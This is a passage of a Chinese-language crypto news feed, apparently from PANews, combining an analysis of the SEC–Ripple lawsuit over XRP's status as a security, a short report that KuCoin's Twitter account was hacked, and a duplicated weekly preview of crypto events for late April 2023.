这项分析框架并非是监管法律，仅仅是在为加密公司提供一定的监管预期，提示其被视作“证券”进行监管的可能性。很显然，在这份框架下，XRP这种中心化的货币很容易被当作证券。但Ripple针对这种指控，坚称跨境支付币不是证券。 此后，双方便开始了长达近3年的诉讼拉锯战，争论的焦点依然在于“XRP到底是不是证券”。直至今年3月，双方仍然在为各自的立场进行辩护。 SEC主席Gensler认为SEC可以决定哪些数字资产是证券，更没有必要通过立法来决定。同时也表示，现行证券法涵盖了加密市场中发生的大部分活动。虽然国会可以采取行动进一步澄清，但他认为没有必要增加权力。但Ripple首席执行官Brad Garlinghouse则认为，这样的决定应该基于立法，而不是SEC主席的个人观点。 4月8日，在最近的一篇推文中，SEC主席Gensler表示，加密市场与证券法没有任何不兼容之处。SEC的目标是使加密领域符合证券法，确保数字资产的投资者获得与其他市场相同的保护。然而，Ripple的政策主管Susan Friedman认为，加密货币与证券不同，这种差异需要具体的规则，而不是采用一刀切的方式进行监管。 双方均有各自立场。而在近日，这场旷日持久战终于要有定论了。有专业人士称美SEC对Ripple的诉讼案将会在上半年有最终裁决。 双方持续多年的辩论围绕的话题是“XRP的发行是否是以销售为目的”。 而更大范围来看，双方的争执更多在于“谁能决定一项数字资产是否为证券”。对于加密公司及交易所来说，是利益之争；对于美国监管机构来说，是监管权力的博弈。此次纷争将定下之后美国监管规则的基调，也将影响未来加密市场的走向。所以，其中一方的胜出势必会压缩另一方的权利空间，双方因此而僵持不下。 而4月20日，《福布斯》高级财富记者John Hyatt发布了一份关于Ripple商业行为的调查报告。具体来说，这份报告揭示了Ripple通过马来西亚主要合作伙伴Tranglo销售数十亿美元的XRP，并说明了Ripple是如何粉饰数字来营销其核心业务的。 众所周知，跨境支付是Ripple的核心业务，并且分为了两条业务线。一条有XRP，一条无XPR，但只有一条线真正赚钱，即XRP的业务。John Hyatt认为，Ripple通过营销XRP的流动性支付技术（ODL），实现了公司的快速增长。对此，Ripple首席技术官在推特上发表观点认为，Ripple所做的只是为了使XRP尽可能的广泛而已，并非是为了将其出售赚钱。而Ripple能从中赚到钱，并能够维持其运转，只是因为足够幸运。所以，在这类业务中很难对“XRP是否以出售为目的”进行定性。 Ripple首席技术官推特回复 而Gensler态度之所以如此强硬，不仅是为了争夺加密监管权，也是对加密货币层出不穷且眼花缭乱的运营模式感到不满。因为眼花缭乱之下，更容易滋生灰色地带。据外媒报道，美国证券交易委员会主席Gensler最近在国会作证，他批评了加密货币的合规性，并对稳定币监管表示担忧。他说，我从事金融工作40年了，从未见过一个如此不符合证券法的领域。他还证实，如果加密货币代币被视为证券，任何此类代币交易的交易所都需要注册为国家证券交易所，接受SEC的监管。Gensler对待监管的态度极为强硬，他坚持保持现有的监管准则，不做出重大改变。 同时，他还认为，数字资产市场需要更加合规。因为它严重危及投资者，并破坏了公众对资本市场的信任，这会威胁到投资者毕生的积蓄。而Ripple认为，一旦XRP被认定为证券，就需要接受严格监管，这在某种程度上会扼杀加密创新。双方据理力争，一直僵持不下。 而整起Ripple-SEC诉讼事件也正是如今美国加密市场的缩影，一个新兴的市场在立法和监管上仍存在许多灰色地带。监管的范围、职责不明确，加密公司对于监管的预期也会不稳定。加密市场仍然需要更清晰的监管制度来减少可能引起的市场混乱，此次诉讼的结果将成为加密监管改变的契机。 但是加密监管将改往哪个方向？还是取决于判决的结果。 由于加密市场的波动非常微妙，所以，XRP的价格也可以看作是投资者对这场诉讼的情绪反映。此前有报道称Ripple可能赢得与SEC的诉讼，XRP代币便在之后的24小时内上涨了20%以上。前段时间XRP价格飙升，Ben Armstrong认为是因为一些著名的Youtuber和有影响力的人对Ripple-SEC诉讼即将结束表示支持，以此推动了XRP价格上涨，因为看起来Ripple极有可能在诉讼中胜出。 但是一名参与诉讼的律师认为，SEC和Ripple诉讼案或将以平局告终。因为美国SEC自己的专家承认，自2018年年中以来，两大加密资产比特币和以太坊的价格可以解释多达90%的XRP价格变动。而与此同时，SEC又认为Ripple Labs持有高比例的XRP意味着XRP是中心化的，是一种证券。这两种说法和立场自相矛盾。 预计几周后，这起诉讼的裁决结果就要公布。但整体而言，XRP社区仍然对当前的形势保持乐观。他们认为监管机构的立场不一，法官不可能因此而支持SEC。但无论如何，各方均会为自己的利益集团积极争取。而只有等到最终的裁定结果，这场3年的连续剧才能算真正的告一段落。  ( 1 min )
    Kucoin官方推特账号被黑，切勿点击可疑链接
    PANews 4月24日消息，加密交易所Kucoin今日6:35在Telegram公告中表示，其官方推特账号被黑了，正在采取措施尽快解决这个问题，强烈建议所有用户避免点击任何可能通过Kucoin的帐户共享的可疑链接。  ( 1 min )
    Kucoin官方推特账号被黑，切勿点击可疑链接
    PANews 4月24日消息，加密交易所Kucoin今日6:35在Telegram公告中表示，其官方推特账号被黑了，正在采取措施尽快解决这个问题，强烈建议所有用户避免点击任何可能通过Kucoin的帐户共享的可疑链接。  ( 1 min )

  • Open

    一周预告 | 亚马逊推出NFT平台“Amazon Digital Marketplace”；Gitcoin将开放新一轮捐赠活动
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 交易所： Deribit将于4月24日推出零费用现货交易 加密期权交易平台Deribit宣布将于4月24日推出零费用现货交易，将提供三对现货交易：BTC/USDC, ETH/USDC和ETH/BTC。据Deribit首席商务官透露，该平台未来可能会上线更多的代币，但零费用不会长期持续下去。 OKX Jumpstart已开启SUI新币销售，认购抽签将于4月24日10点截止 欧易OKX Jumpstart于2023年4月23日开启SUI新币销售，本期活动首次采用了认购抽签模式。公开销售总量为2.25亿枚SUI，销售价格为1 Sui=0.1美元，支付币种为OKB。认购时间为北京时间4月23日10点至4月24日10点。认购结束后，系统将进行随机抽签，并在当天派发给参与用户。 项目动态： RTFKT：Nike Air Force 1数字球鞋铸造定于4月24日进行 被耐克公司收购的加密潮牌RTFKT宣布Nike Air Force 1数字球鞋铸造定于4月24日进行并持续到5月8日，共推出10种设计款供选择。预锻造将在OpenSea和其他二级市场进行。RTFKT提醒用户，为防止欺诈，铸造仅在其官方进行。 亚马逊将于4月24日推出其NFT平台“AmazonDigital Marketplace” 科技巨头亚马逊将于4月24日推出其NFT平台“Amazon Digital Marketplace”，自推出之日起将有15个NFT系列可供选择。该平台将首先向美国客户提供该服务，然后逐步推广至其他国家。 OpenSea前产品负责人面临电汇欺诈和洗钱指控，4月24日将开庭审理 OpenSea前产品负责人Nathaniel Chastain的审判日期定在4月24日。当案件开庭审理时，Chastain将面临电汇欺诈和洗钱的指控。此前Chastain被指控利用OpenSea的机密信息秘密购买了NFT，并将其出售以获取利润。尽管被指控的行为类似于违反证券规则的内幕交易，但由于不确定非交易是否构成证券，司法部对他提出了电信欺诈指控。 社区活动： Cronos Labs第2批Cronos加速器计划将于4月24日开始 Cronos 生态创业加速器Cronos Labs的第二批为期三个月的加速器计划将于 2023 年 4 月 24 日开始，其主要专注于 DeFi、GameFi、SocialFi 和基础设施等垂直领域。通过选拔的项目可以获得 3 万美元的 Pre-Seed 投资，并有机会获得后续 30 万美元的种子轮投资。 项目动态： 漫威创始人推出数字艺术藏品“Ekos Genesis Art Collection”，4月25日凌晨将进行预拍卖 漫威（Marvel Studios）创始人David Maisel创立的知识产权 (IP) 娱乐公司Mythos Studios宣布推出新的数字艺术藏品“Ekos Genesis Art Collection”，现已在ekos.io的虚拟画廊中展出。据悉，北京时间5月3日凌晨1点，在《钢铁侠》上映15周年之际，该数藏将开启荷兰拍卖。其预拍卖将于北京时间4月25日凌晨1点开始。 Avalanche将于4月25日在主网激活Cortina升级，验证者需事先更新节点 Ava Labs开发者关系工程师Usman Asim发推文称：“提醒所有Avalanche验证者：Cortina AvalancheGo版本 (v1.10.0)现已推出，并将于北京时间4月25日23:00激活。验证者必须在此日期之前更新节点，否则它们将无法处理升级后的新块。”Github信息显示，升级中的更改将于4月25日23:00在主网上生效。 Celsius现场拍卖将于4月25日举行，NovaWulf等3家竞标者参与 Celsius无担保债权人官方委员会在推特上表示，现场拍卖将于4月25日举行，投标人包括数字资产投资公司NovaWulf、Fahrenheit, LLC和区块链复苏投资委员会。 Ultra计划于4月25日推出Web3游戏市场Ultra Games Web3游戏初创公司Ultra计划于4月25日推出其基于Ultra Layer-1网络构建的Ultra Games市场，将允许用户通过二级市场转售其购买的数字游戏。据悉，新的数字PC游戏商店将推出大约60或70款游戏，包括Cards of Ethernity、Cross the Ages、MARS4等Web3游戏。 Zilliqa将于4月25日在主网启动首个EVM完整兼容版本 Layer1区块链Zilliqa宣布将于4月25日在主网启动首个EVM完整兼容版本。用户将能够使用MetaMask等钱包传输本机ZIL，并使用Truffle和Hardhat等工具部署Solidity智能合约。 社区活动： Gitcoin将于4月25日至5月9日开放新一轮捐赠活动 4 月 25 日至 5 月 9 日，Gitcoin将开放新一轮捐赠活动：Gitcoin Program Beta Round。 项目动态： FTX欧洲和日本子公司拍卖截止日期延长至4月26日 据FTX债务人在推特上分享的法庭文件，FTX债务人已将FTX Japan和FTX Europe的拍卖截止日期延长至4月26日，LedgerX和Embed拍卖日期不受影响。 阿迪达斯旗下NFT项目将推出限量版BAYC、PUNKS联名服饰，并将于26日和27日开启抢先体验 阿迪达斯旗下NFT项目Indigo Herz推出“Indigo Herz Pack”，为ALTS by Adidas NFT持有者提供代币门控访问权限，其限量版系列包括与Bored Ape Yacht Club、PUNKS Comic和gmoneyNFT合作打造的2145双Superstar鞋，以及印有PUNKS Comic艺术的2195件连帽衫。该系列将于5月5日通过 adidas.com、adidas应用程序和全球指定零售店开始公开发售。AdiClub会员可以在4月26日（欧盟）和4月27日（其他国家/地区）开始的会员周期间抢先体验该系列。 交易所： 加密交易所Uphold将于4月27日结束对美国客户的质押服务 加密交易所Uphold已向客户发送电子邮件，表示将于2023年4月27日结束对美国客户的质押服务。Uphold证实，美国证券交易委员会尚未与其联系，不过“直到法律和监管更加明确为止，将终止其在美国的质押服务。” 项目动态： 美国玩具制造商美泰旗下NFT平台将于4月27日推出P2P市场功能 美国玩具制造商美泰旗下数字藏品平台Mattel Creations将于4月27日推出P2P（点对点）市场功能，该功能由NFT公司Rarible提供支持。美泰是芭比娃娃制造商，于去年11月在Flow链上推出其NFT市场Mattel Creations。 Moonbirds将于4月27日启动独家“Diamond Exhibition” NFT系列 NFT项目Moonbirds在社交媒体宣布将于4月27日发布独家“Diamond Exhibition” NFT系列，届时将展示Beeple、Greylesian、Dirty Robot等22位艺术家的1万件数字艺术品。Moonbirds已于4月18日启动了Diamond Nest“Choice Pass”空投，在4月24-27日期间，其持有者可以选择自己关注的艺术家，后续Choice Pass持有者的抽奖和空投将在4月27日进行。 治理投票： ApeCoin社区对促进社区治理的两项提案进行投票，均于4月27日截止 ApeCoin社区正对促进社区治理的两项提案进行投票，即“制定工作组指南和治理工作组章程”的AIP-239提案和“创建社区话语促进团队”的AIP-240提案，投票均将于4月27日截止。此外，该社区还对关于“赞助THE DAM SHOW和现场游戏节目”的AIP-214提案和“为社区创建NFT奇幻小说”的AIP-236提案进行投票，这两项提案投票也都将于4月27日截止。 政策监管： 香港金融管理局和证券及期货事务监察委员会将于4月28日联合举行圆桌会议 据彭博社报道，中国香港监管机构正在召集加密公司和银行家之间的会议，以促进该行业的融资。据该媒体看到的活动细节，圆桌会议将于4月28日在香港金融管理局举行，“以促进直接对话”和 “分享开设和维护银行账户的实际经验和观点”。该会议将由香港金融管理局和证券及期货事务监察委员会联合举行，这两个监管机构负责监督稳定币和加密货币交易所。 项目动态： SPACE ID成立DAO Treasury，治理委托人的申请将于4月28日截止 去中心化通用域名协议SPACE ID宣布成立DAO Treasury，将实施代币回购和销毁机制。平台收入将包括自TGE日期以来积累的所有注册收益，并按季度移动执行向前。 Avalanche推出NFT计划Avaissance，其中艺术家驻留计划的申请将于4月28日截止 Avalanche基金会启动NFT计划Avaissance，旨在支持正在崛起的数字艺术家，并推动Avalanche NFT生态系统的增长。Avaissance有两个组成部分:一个是针对50多位艺术家的艺术家驻留计划(AIR)，另一个是“蒙娜丽莎计划”(MLI)，这是一个数字艺术策展合作项目。AIR计划的申请目前已开放并将于4月28日截止，第一批50名入选者将于5月宣布。 治理投票： Lido社区开启关于批准授权成立金库管委会的提案投票，4月28日结束 Lido社区开启关于批准DAO资金管理原则并授权成立金库资金管理委员会的提案投票。提议的金库管理原则包括ETH是Lido DAO的主要账户单位、Lido DAO的资金是协议弹性和未来增长的源泉，可以资助进一步实现协议去中心化和网络安全目标的计划；在任何情况下都应将金库资金的损失风险降至最低；所有金库ETH必须质押在Lido；LDO持有者拥有最终发言权。该投票将于4月28日结束。 Vauld获得另一项债权人保护延期至4月28日 据The Block报道，亚洲加密货币贷款机构 Vauld 获得另一项债权人保护延期至4月28日。此前 Vauld 的债权人保护曾多次延期。 Celsius债权人：客户可在4月28日前对债务人提出索赔证明 Celsius官方无担保债权人委员会 (UCC) 发推文称：“在最近的客户索赔裁决中，法官Martin Glenn表示客户可以只针对Celsius Network LLC提出加密货币的合同索赔，但Glenn法官的决定并不妨碍客户对所有债务人提出非合同索赔，如欺诈、疏忽性失实陈述或其他法定或普通法索赔。此外，鉴于这一法院裁决，债务人现在已重新开放截止日期。客户可以在4月28日前对任何债务人提出索赔证明。” 社区活动： 以太坊基金会团队EF Next Billion将启动一项奖金计划，申请将于4月28日截止 以太坊基金会团队EF Next Billion宣布将于6月份启动Next Billion Fellowship cohort 3奖金计划，该奖金计划面向以太坊上的项目变革者、远见者和实用主义者，旨在帮助改善数十亿人的生活。用户可在4月28日之前提交申请，符合条件的申请人将获得相关专家的指导、以太坊基金会和以太坊社区的资源、资金支持等。 项目动态： 权志龙发行的NFT系列“Archive of PEACEMINUSONE将于4月29日进行第三次公开铸造 韩国流行乐歌手权志龙在OpenSea平台发售其基于BNB Chain的NFT系列“Archive of PEACEMINUSONE”。该NFT系列是权志龙的原画的拼图，代表了PEACEMINUSONE (PMO, 权志龙创建的品牌)的身份，并融合了权志龙生活和个人发展的私密细节。其已先后于3月21日和4月22日完成两次铸造，4月29日将进行第三次铸造，共654枚NFT，铸造价格为488美元。 治理投票： Aave社区开启关于“弃用Aave V2 AMM市场”的ARFC提案投票，4月29日截止 Aave社区将于今日21:00开启关于“弃用Aave V2 AMM市场”的ARFC提案投票，并将于4月29日结束。该提案表示，考虑到AMM V2市场的低使用率，以及现在唯一未冻结的资产是V2 ETH和V3 ETH上可用的主要资产(DAI, USDC, USDT, WBTC, ETH)，因此建议弃用AMM V2市场。这包括将所有LP代币的清算阈值设置为零，并冻结所有其他资产(DAI、USDC、Tether、WBTC、ETH)。冻结资产不会清算头寸。 政策监管： 英政府制定监管加密资产的计划，将于4月30日结束公众咨询 英国财政部经济大臣Andrew Griffith表示，英国可能会在未来12个月内出台旨在监管加密货币行业的具体法律。Griffith 还表示，英国希望将自己定位为“加密资产技术的全球中心”。英国政府在2月份制定了监管加密资产的计划，并向公众公开其计划以供咨询。咨询期于4月30日结束。 交易所： Bittrex将于4月30日关闭美国业务，其它地区业务不受影响 加密交易所Bittrex宣布，在运营9年后，该公司将于4月30日关闭其美国平台。Bittrex联合创始人兼首席执行官Ritchie Lai表示，在当前的美国监管和经济环境下，继续运营从经济角度来看是不可行的。监管要求通常不明确，并且在没有适当讨论的情况下强制执行，导致竞争格局不均衡。所有客户的资金都是安全的，可以取款。此外，在欧洲、加拿大和南美等地区运营的Bittrex Global不受影响，将继续开放交易。 项目动态： Synthetix委员会进行新一轮提名，将于4月30日截止 合成资产发行协议Synthetix发文称，Synthetix委员会提名将于4月17日开始，投票时间从4月21日开始，将于4月30日结束。所有当选的委员会成员将从Synthetix财政部获得每月2000枚SNX的津贴。选举在Synthetix治理模块上进行。该轮委员会将从4月30日开始持续4个月。Synthetix委员会包括财政委员会（4名）、Spartan委员会（8名）、拨款委员会（5名）、大使委员会（5名）。 尼日利亚加密支付初创公司Lazerpay在筹资失败后宣布关闭，并建议用户在4月30日之前提款 尼日利亚加密和 Web3 公司 Lazerpay 于 4 月 13 日宣布将关闭其运营。该公司曾因主要投资者退出后无法筹集资金，在2022年11月宣布裁员。其建议用户在 2023 年 4 月 30 日之前从平台提取资金。 MakerDAO协议工程核心部门将于4月底停运，多名核心贡献者将离职 由于Maker创始人Rune Christensen此前提出的治理架构改革提案，MakerDAO的PECU正在关闭，并将有序地过渡到由独立生态系统参与者取而代之的情况。PECU将于2023年4月底停止运营，将与社区成员合作，确保成功过渡到新框架。目前已有五名MakerDAO PECU开发者留言表示将于4月30日起停止为MakerDAO做出贡献。 比特币钱包BlueWallet将于4月30日关闭LndHub连接，用户尽须快提取资金 比特币钱包BlueWallet宣布目前正在取消与Lndhub的闪电网络节点连接，并将停止相关闪电网络比特币托管服务。不过据开发人员@Callebtc解释，本次不是BlueWallet本身关闭业务，只是不再为LndHub协议账户提供服务，以寻求推动自托管解决方案和更大程度的去中心化，据悉该服务将于4月30日关闭，因此提醒相关用户需要将sats转移到其他服务或钱包。 ENS基金会董事辞职，新董事提名窗口于4月10日开放至30日 ENS基金会董事Brantly Millegan宣布辞去董事一职，辞职将在任命新董事后生效。新董事将在提名程序和选举后任命，ENS基金会将于4月10日17:00开放提名窗口，并于4月30日17:00关闭。5月1日至5日进行选举，选举结果公布后，将向ENS基金会发出任命新董事的通知。 社区活动： ETC Grants DAO第一轮资助计划申请，4月30日结束 ETC Grants DAO第一轮资助计划于2023年1月31日开启申请，将于4月30日结束。本轮资助总金额为100万美元等值ETC，以资助积极在ETC上构建应用和协议的开发者，包括扩容方案、跨链桥与借贷协议等。  ( 5 min )
    一周预告 | 亚马逊推出NFT平台“Amazon Digital Marketplace”；Gitcoin将开放新一轮捐赠活动
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 交易所： Deribit将于4月24日推出零费用现货交易 加密期权交易平台Deribit宣布将于4月24日推出零费用现货交易，将提供三对现货交易：BTC/USDC, ETH/USDC和ETH/BTC。据Deribit首席商务官透露，该平台未来可能会上线更多的代币，但零费用不会长期持续下去。 OKX Jumpstart已开启SUI新币销售，认购抽签将于4月24日10点截止 欧易OKX Jumpstart于2023年4月23日开启SUI新币销售，本期活动首次采用了认购抽签模式。公开销售总量为2.25亿枚SUI，销售价格为1 Sui=0.1美元，支付币种为OKB。认购时间为北京时间4月23日10点至4月24日10点。认购结束后，系统将进行随机抽签，并在当天派发给参与用户。 项目动态： RTFKT：Nike Air Force 1数字球鞋铸造定于4月24日进行 被耐克公司收购的加密潮牌RTFKT宣布Nike Air Force 1数字球鞋铸造定于4月24日进行并持续到5月8日，共推出10种设计款供选择。预锻造将在OpenSea和其他二级市场进行。RTFKT提醒用户，为防止欺诈，铸造仅在其官方进行。 亚马逊将于4月24日推出其NFT平台“AmazonDigital Marketplace” 科技巨头亚马逊将于4月24日推出其NFT平台“Amazon Digital Marketplace”，自推出之日起将有15个NFT系列可供选择。该平台将首先向美国客户提供该服务，然后逐步推广至其他国家。 OpenSea前产品负责人面临电汇欺诈和洗钱指控，4月24日将开庭审理 OpenSea前产品负责人Nathaniel Chastain的审判日期定在4月24日。当案件开庭审理时，Chastain将面临电汇欺诈和洗钱的指控。此前Chastain被指控利用OpenSea的机密信息秘密购买了NFT，并将其出售以获取利润。尽管被指控的行为类似于违反证券规则的内幕交易，但由于不确定非交易是否构成证券，司法部对他提出了电信欺诈指控。 社区活动： Cronos Labs第2批Cronos加速器计划将于4月24日开始 Cronos 生态创业加速器Cronos Labs的第二批为期三个月的加速器计划将于 2023 年 4 月 24 日开始，其主要专注于 DeFi、GameFi、SocialFi 和基础设施等垂直领域。通过选拔的项目可以获得 3 万美元的 Pre-Seed 投资，并有机会获得后续 30 万美元的种子轮投资。 项目动态： 漫威创始人推出数字艺术藏品“Ekos Genesis Art Collection”，4月25日凌晨将进行预拍卖 漫威（Marvel Studios）创始人David Maisel创立的知识产权 (IP) 娱乐公司Mythos Studios宣布推出新的数字艺术藏品“Ekos Genesis Art Collection”，现已在ekos.io的虚拟画廊中展出。据悉，北京时间5月3日凌晨1点，在《钢铁侠》上映15周年之际，该数藏将开启荷兰拍卖。其预拍卖将于北京时间4月25日凌晨1点开始。 Avalanche将于4月25日在主网激活Cortina升级，验证者需事先更新节点 Ava Labs开发者关系工程师Usman Asim发推文称：“提醒所有Avalanche验证者：Cortina AvalancheGo版本 (v1.10.0)现已推出，并将于北京时间4月25日23:00激活。验证者必须在此日期之前更新节点，否则它们将无法处理升级后的新块。”Github信息显示，升级中的更改将于4月25日23:00在主网上生效。 Celsius现场拍卖将于4月25日举行，NovaWulf等3家竞标者参与 Celsius无担保债权人官方委员会在推特上表示，现场拍卖将于4月25日举行，投标人包括数字资产投资公司NovaWulf、Fahrenheit, LLC和区块链复苏投资委员会。 Ultra计划于4月25日推出Web3游戏市场Ultra Games Web3游戏初创公司Ultra计划于4月25日推出其基于Ultra Layer-1网络构建的Ultra Games市场，将允许用户通过二级市场转售其购买的数字游戏。据悉，新的数字PC游戏商店将推出大约60或70款游戏，包括Cards of Ethernity、Cross the Ages、MARS4等Web3游戏。 Zilliqa将于4月25日在主网启动首个EVM完整兼容版本 Layer1区块链Zilliqa宣布将于4月25日在主网启动首个EVM完整兼容版本。用户将能够使用MetaMask等钱包传输本机ZIL，并使用Truffle和Hardhat等工具部署Solidity智能合约。 社区活动： Gitcoin将于4月25日至5月9日开放新一轮捐赠活动 4 月 25 日至 5 月 9 日，Gitcoin将开放新一轮捐赠活动：Gitcoin Program Beta Round。 项目动态： FTX欧洲和日本子公司拍卖截止日期延长至4月26日 据FTX债务人在推特上分享的法庭文件，FTX债务人已将FTX Japan和FTX Europe的拍卖截止日期延长至4月26日，LedgerX和Embed拍卖日期不受影响。 阿迪达斯旗下NFT项目将推出限量版BAYC、PUNKS联名服饰，并将于26日和27日开启抢先体验 阿迪达斯旗下NFT项目Indigo Herz推出“Indigo Herz Pack”，为ALTS by Adidas NFT持有者提供代币门控访问权限，其限量版系列包括与Bored Ape Yacht Club、PUNKS Comic和gmoneyNFT合作打造的2145双Superstar鞋，以及印有PUNKS Comic艺术的2195件连帽衫。该系列将于5月5日通过 adidas.com、adidas应用程序和全球指定零售店开始公开发售。AdiClub会员可以在4月26日（欧盟）和4月27日（其他国家/地区）开始的会员周期间抢先体验该系列。 交易所： 加密交易所Uphold将于4月27日结束对美国客户的质押服务 加密交易所Uphold已向客户发送电子邮件，表示将于2023年4月27日结束对美国客户的质押服务。Uphold证实，美国证券交易委员会尚未与其联系，不过“直到法律和监管更加明确为止，将终止其在美国的质押服务。” 项目动态： 美国玩具制造商美泰旗下NFT平台将于4月27日推出P2P市场功能 美国玩具制造商美泰旗下数字藏品平台Mattel Creations将于4月27日推出P2P（点对点）市场功能，该功能由NFT公司Rarible提供支持。美泰是芭比娃娃制造商，于去年11月在Flow链上推出其NFT市场Mattel Creations。 Moonbirds将于4月27日启动独家“Diamond Exhibition” NFT系列 NFT项目Moonbirds在社交媒体宣布将于4月27日发布独家“Diamond Exhibition” NFT系列，届时将展示Beeple、Greylesian、Dirty Robot等22位艺术家的1万件数字艺术品。Moonbirds已于4月18日启动了Diamond Nest“Choice Pass”空投，在4月24-27日期间，其持有者可以选择自己关注的艺术家，后续Choice Pass持有者的抽奖和空投将在4月27日进行。 治理投票： ApeCoin社区对促进社区治理的两项提案进行投票，均于4月27日截止 ApeCoin社区正对促进社区治理的两项提案进行投票，即“制定工作组指南和治理工作组章程”的AIP-239提案和“创建社区话语促进团队”的AIP-240提案，投票均将于4月27日截止。此外，该社区还对关于“赞助THE DAM SHOW和现场游戏节目”的AIP-214提案和“为社区创建NFT奇幻小说”的AIP-236提案进行投票，这两项提案投票也都将于4月27日截止。 政策监管： 香港金融管理局和证券及期货事务监察委员会将于4月28日联合举行圆桌会议 据彭博社报道，中国香港监管机构正在召集加密公司和银行家之间的会议，以促进该行业的融资。据该媒体看到的活动细节，圆桌会议将于4月28日在香港金融管理局举行，“以促进直接对话”和 “分享开设和维护银行账户的实际经验和观点”。该会议将由香港金融管理局和证券及期货事务监察委员会联合举行，这两个监管机构负责监督稳定币和加密货币交易所。 项目动态： SPACE ID成立DAO Treasury，治理委托人的申请将于4月28日截止 去中心化通用域名协议SPACE ID宣布成立DAO Treasury，将实施代币回购和销毁机制。平台收入将包括自TGE日期以来积累的所有注册收益，并按季度移动执行向前。 Avalanche推出NFT计划Avaissance，其中艺术家驻留计划的申请将于4月28日截止 Avalanche基金会启动NFT计划Avaissance，旨在支持正在崛起的数字艺术家，并推动Avalanche NFT生态系统的增长。Avaissance有两个组成部分:一个是针对50多位艺术家的艺术家驻留计划(AIR)，另一个是“蒙娜丽莎计划”(MLI)，这是一个数字艺术策展合作项目。AIR计划的申请目前已开放并将于4月28日截止，第一批50名入选者将于5月宣布。 治理投票： Lido社区开启关于批准授权成立金库管委会的提案投票，4月28日结束 Lido社区开启关于批准DAO资金管理原则并授权成立金库资金管理委员会的提案投票。提议的金库管理原则包括ETH是Lido DAO的主要账户单位、Lido DAO的资金是协议弹性和未来增长的源泉，可以资助进一步实现协议去中心化和网络安全目标的计划；在任何情况下都应将金库资金的损失风险降至最低；所有金库ETH必须质押在Lido；LDO持有者拥有最终发言权。该投票将于4月28日结束。 Vauld获得另一项债权人保护延期至4月28日 据The Block报道，亚洲加密货币贷款机构 Vauld 获得另一项债权人保护延期至4月28日。此前 Vauld 的债权人保护曾多次延期。 Celsius债权人：客户可在4月28日前对债务人提出索赔证明 Celsius官方无担保债权人委员会 (UCC) 发推文称：“在最近的客户索赔裁决中，法官Martin Glenn表示客户可以只针对Celsius Network LLC提出加密货币的合同索赔，但Glenn法官的决定并不妨碍客户对所有债务人提出非合同索赔，如欺诈、疏忽性失实陈述或其他法定或普通法索赔。此外，鉴于这一法院裁决，债务人现在已重新开放截止日期。客户可以在4月28日前对任何债务人提出索赔证明。” 社区活动： 以太坊基金会团队EF Next Billion将启动一项奖金计划，申请将于4月28日截止 以太坊基金会团队EF Next Billion宣布将于6月份启动Next Billion Fellowship cohort 3奖金计划，该奖金计划面向以太坊上的项目变革者、远见者和实用主义者，旨在帮助改善数十亿人的生活。用户可在4月28日之前提交申请，符合条件的申请人将获得相关专家的指导、以太坊基金会和以太坊社区的资源、资金支持等。 项目动态： 权志龙发行的NFT系列“Archive of PEACEMINUSONE将于4月29日进行第三次公开铸造 韩国流行乐歌手权志龙在OpenSea平台发售其基于BNB Chain的NFT系列“Archive of PEACEMINUSONE”。该NFT系列是权志龙的原画的拼图，代表了PEACEMINUSONE (PMO, 权志龙创建的品牌)的身份，并融合了权志龙生活和个人发展的私密细节。其已先后于3月21日和4月22日完成两次铸造，4月29日将进行第三次铸造，共654枚NFT，铸造价格为488美元。 治理投票： Aave社区开启关于“弃用Aave V2 AMM市场”的ARFC提案投票，4月29日截止 Aave社区将于今日21:00开启关于“弃用Aave V2 AMM市场”的ARFC提案投票，并将于4月29日结束。该提案表示，考虑到AMM V2市场的低使用率，以及现在唯一未冻结的资产是V2 ETH和V3 ETH上可用的主要资产(DAI, USDC, USDT, WBTC, ETH)，因此建议弃用AMM V2市场。这包括将所有LP代币的清算阈值设置为零，并冻结所有其他资产(DAI、USDC、Tether、WBTC、ETH)。冻结资产不会清算头寸。 政策监管： 英政府制定监管加密资产的计划，将于4月30日结束公众咨询 英国财政部经济大臣Andrew Griffith表示，英国可能会在未来12个月内出台旨在监管加密货币行业的具体法律。Griffith 还表示，英国希望将自己定位为“加密资产技术的全球中心”。英国政府在2月份制定了监管加密资产的计划，并向公众公开其计划以供咨询。咨询期于4月30日结束。 交易所： Bittrex将于4月30日关闭美国业务，其它地区业务不受影响 加密交易所Bittrex宣布，在运营9年后，该公司将于4月30日关闭其美国平台。Bittrex联合创始人兼首席执行官Ritchie Lai表示，在当前的美国监管和经济环境下，继续运营从经济角度来看是不可行的。监管要求通常不明确，并且在没有适当讨论的情况下强制执行，导致竞争格局不均衡。所有客户的资金都是安全的，可以取款。此外，在欧洲、加拿大和南美等地区运营的Bittrex Global不受影响，将继续开放交易。 项目动态： Synthetix委员会进行新一轮提名，将于4月30日截止 合成资产发行协议Synthetix发文称，Synthetix委员会提名将于4月17日开始，投票时间从4月21日开始，将于4月30日结束。所有当选的委员会成员将从Synthetix财政部获得每月2000枚SNX的津贴。选举在Synthetix治理模块上进行。该轮委员会将从4月30日开始持续4个月。Synthetix委员会包括财政委员会（4名）、Spartan委员会（8名）、拨款委员会（5名）、大使委员会（5名）。 尼日利亚加密支付初创公司Lazerpay在筹资失败后宣布关闭，并建议用户在4月30日之前提款 尼日利亚加密和 Web3 公司 Lazerpay 于 4 月 13 日宣布将关闭其运营。该公司曾因主要投资者退出后无法筹集资金，在2022年11月宣布裁员。其建议用户在 2023 年 4 月 30 日之前从平台提取资金。 MakerDAO协议工程核心部门将于4月底停运，多名核心贡献者将离职 由于Maker创始人Rune Christensen此前提出的治理架构改革提案，MakerDAO的PECU正在关闭，并将有序地过渡到由独立生态系统参与者取而代之的情况。PECU将于2023年4月底停止运营，将与社区成员合作，确保成功过渡到新框架。目前已有五名MakerDAO PECU开发者留言表示将于4月30日起停止为MakerDAO做出贡献。 比特币钱包BlueWallet将于4月30日关闭LndHub连接，用户尽须快提取资金 比特币钱包BlueWallet宣布目前正在取消与Lndhub的闪电网络节点连接，并将停止相关闪电网络比特币托管服务。不过据开发人员@Callebtc解释，本次不是BlueWallet本身关闭业务，只是不再为LndHub协议账户提供服务，以寻求推动自托管解决方案和更大程度的去中心化，据悉该服务将于4月30日关闭，因此提醒相关用户需要将sats转移到其他服务或钱包。 ENS基金会董事辞职，新董事提名窗口于4月10日开放至30日 ENS基金会董事Brantly 